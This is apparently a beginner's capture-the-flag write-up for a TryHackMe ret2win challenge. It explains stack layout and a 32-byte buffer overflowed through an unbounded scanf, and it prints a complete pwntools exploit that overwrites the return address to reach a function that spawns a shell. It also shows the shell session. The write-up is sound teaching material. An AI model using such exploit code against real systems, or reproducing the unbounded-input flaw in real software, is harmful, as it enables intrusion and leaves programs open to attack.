29 Oct 2025 6 min read

TryHackMe Dear QA Writeup: A Beginner's ret2win Buffer Overflow

📋 Target Info

Target IP: 10.201.72.213
Port: 5700
Binary: DearQA-1627223337406.DearQA (ELF 64-bit)
Goal: use a buffer overflow to execute the vuln() function and pop a shell
Room link: https://tryhackme.com/room/dearqa

🔍 Step 1: File Analysis

Checking the binary's architecture

file DearQA

Output:

DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

Binary Architecture: x64 (a.k.a. x86-64)

Why is it x64?

Looking at the decompiled code (the detailed decompilation steps actually come further down, so treat this as supporting evidence), a couple of key clues stand out:

Register names: it uses rsp and rbp (64-bit), not esp and ebp (32-bit)
Pointer size: it uses the __int64 type, so pointers are 8 bytes

📖 Pwn Fundamentals: Understanding the Stack

This section is a full beginner's primer to help you understand how buffer overflows actually work.

What is the Stack?

When a program runs, it sets up a region of memory called the Stack. Picture the stack like a pile of plates:

┌──────────────────┐  ← high address (0x7fff...)
│                  │
│    Stack region   │
│  (grows downward) │
│                  │
└──────────────────┘  ← low address (0x0000...)

What does "grows downward" mean?

Memory addresses are like house numbers, and a bigger number means a "higher address". When a program needs more stack space, it extends toward lower addresses:

address 0x7fff0020  ← where the stack starts
address 0x7fff0018  ← first variable goes here
address 0x7fff0010  ← second variable (grows down)
address 0x7fff0008  ← third variable (keeps growing down)

Analogy: it's like building from the 100th floor downward to the 1st floor — the floor numbers keep getting smaller.

The Stack layout during a function call

When main() is called, the stack is built up in order:

Step 1: the CALL instruction

┌─────────────────────┐
│  return address     │ ← CPU automatically pushes the return address
└─────────────────────┘

Step 2: entering the function

┌─────────────────────┐
│  return address     │
├─────────────────────┤
│  saved rbp          │ ← the old base pointer is saved
└─────────────────────┘

Step 3: allocating local variables

char v4[32];  // needs 32 bytes of space

The stack keeps growing downward:

┌─────────────────────┐  high address
│  return address     │  ← rbp+8
├─────────────────────┤
│  saved rbp          │  ← rbp+0
├─────────────────────┤
│                     │
│  v4[32 bytes]       │  ← rbp-32 (allocated last, so it's at a low address)
│                     │
└─────────────────────┘  low address

Key ideas:

Whatever goes on the stack first ends up at a high address (the return address)
Whatever goes on later ends up at a low address (v4)
Our input gets written starting from the low address!

🔍 Step 2: Decompilation Analysis

The Hex-Rays decompiled output reveals two key functions:

1. vuln() — the hidden backdoor function

//----- (0000000000400686) ----------------------------------------------------
int vuln()
{
  puts("Congratulations!");
  puts("You have entered in the secret function!");
  fflush(stdout);
  return execve("/bin/bash", 0, 0);  // ← hands you a shell directly!
}

Key findings:

Function address: 0x400686
What it does: executes /bin/bash to give you a shell
The catch: main() never calls this function!

2. main() — the vulnerable main function

//----- (00000000004006C3) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF  ← only 32 bytes!

  puts("Welcome dearQA");
  puts("I am sysadmin, i am new in developing");
  printf("What's your name: ");
  fflush(stdout);
  __isoc99_scanf("%s", v4);  // ⚠️ no length check!
  printf("Hello: %s\n", v4);
  return 0;
}

Vulnerability analysis:

The v4 buffer is only 32 bytes
scanf("%s") has no length limit
You can write more than 32 bytes, causing a buffer overflow!

Working out the stack layout from the comments

The key hint: [rbp-20h] tells us v4 starts at rbp - 0x20 (rbp - 32)

rbp+8   ← return address (the target!)
rbp+0   ← saved rbp
rbp-8   ← v4[24~31]
rbp-16  ← v4[16~23]
rbp-24  ← v4[8~15]
rbp-32  ← v4[0~7] (start of v4)

Computing the offset:

Fill v4: 32 bytes
Overwrite saved rbp: 8 bytes
Total: you need 40 bytes to reach the return address

How the Attack Works: Hijacking Program Flow

What is the return address?

When a function finishes, it needs to know "where to go back to and keep running".

Normal flow:

int main() {
  printf("A");
  some_function();  // ← call a function, jump away
  printf("B");      // ← once it's done, come back here!
  return 0;
}

The return address records the location "to go back to".

Our attack strategy

Normal case:

main() runs to the end
  ↓
reads the return address (back to the system)
  ↓
program exits normally

After the attack:

main() runs to the end
  ↓
reads the return address (rewritten to 0x400686)
  ↓
jumps into the vuln() function!
  ↓
execve("/bin/bash") ← shell obtained!

How do we "rewrite" the return address?

By abusing the scanf flaw and feeding it an overly long string:

when you enter 50 characters:
┌─────────────────────┐
│  return address     │ ← the last 8 characters land here!
├─────────────────────┤
│  saved rbp          │ ← the middle 8 characters land here
├─────────────────────┤
│  v4[32 bytes]       │ ← the first 32 characters land here
└─────────────────────┘

Overflow! We control the return address!

Step 3: Writing the Exploit

Why wrap the address with p64()?

Addresses are stored in memory using little-endian byte order:

address: 0x0000000000400686

❌ wrong way:
00 00 00 00 00 40 06 86

✅ correct way (little-endian):
86 06 40 00 00 00 00 00
   ↑  ↑  ↑
 low → high (reversed)

pwntools' p64() handles this conversion for you automatically!

# the manual way (error-prone)
addr = b'\x86\x06\x40\x00\x00\x00\x00\x00'

# using pwntools (recommended)
from pwn import *
addr = p64(0x400686)  # automatically converts to the correct byte order

The complete exploit

from pwn import *

# target info
host = '10.201.72.213'
port = 5700

# address of the vuln function
vuln_addr = 0x400686

# connect
io = remote(host, port)

# build the payload
payload = b'A' * 32       # fill the 32-byte buffer
payload += b'B' * 8       # overwrite saved rbp (8 bytes)
payload += p64(vuln_addr) # overwrite the return address with vuln()

# send the payload
io.recvuntil(b'name: ')
io.sendline(payload)

# drop into a shell to run commands
io.interactive()

Payload layout diagram

[AAAAAAAA...32 bytes...][BBBBBBBB][0x400686]
 ↑                      ↑          ↑
 fill v4                overwrite  overwrite
                        rbp        return address

Step 4: Running the Exploit

Running the script

python3 solve.py

Shell obtained

[+] Opening connection to 10.201.72.213 on port 5700: Done
[*] Switching to interactive mode
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x86\x06@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
$

✅ Successfully jumped into vuln() and got a shell!

Step 5: Grabbing the Flag

Finding the flag

$ ls
DearQA
flag.txt

$ cat flag.txt
THM{Redacted}

✅ Flag captured!

📚 Technical Takeaways

Buffer overflow fundamentals

✅ Stack structure: understanding the "grows downward" concept
✅ Stack layout: return address → saved rbp → local variables
✅ Function calls: the CALL instruction automatically pushes the return address

Personal Reflections

This challenge was my first-ever pwn. In every CTF I've done I always skipped the pwn challenges, but today I wanted to finally get started. Below is some of what I worked through in a discussion with Claude AI.

🎓 Common beginner questions
Q: Why does my input land right at the low address?
A: Because the stack grows downward! Local variables are allocated last, so they sit at the lowest address, while the return address — which went on the stack first — is up at a high address.

Q: Why can we control the program flow?
A: Because we overwrote the return address. When main() hits return, the CPU reads the return address off the stack and jumps to it. We changed it to the address of vuln(), so the program jumps there!

Q: What if there's no convenient function like vuln()?
A: That's where the advanced techniques come in! You can use:

ret2libc: call a system function (like system())
ROP: stitch together instruction gadgets already present in the program
Shellcode: inject your own machine code

Q: Why use p64() instead of just writing the address directly?
A: Because x86-64 uses little-endian, so addresses are stored reversed in memory. p64() automatically converts them into the correct byte order for you.

🎉 Conclusion

This is a very classic ret2win-style challenge that perfectly demonstrates:

The basic principles of buffer overflow
The structure and behavior of the stack
How to hijack a program's execution flow
The foundational skills of exploit development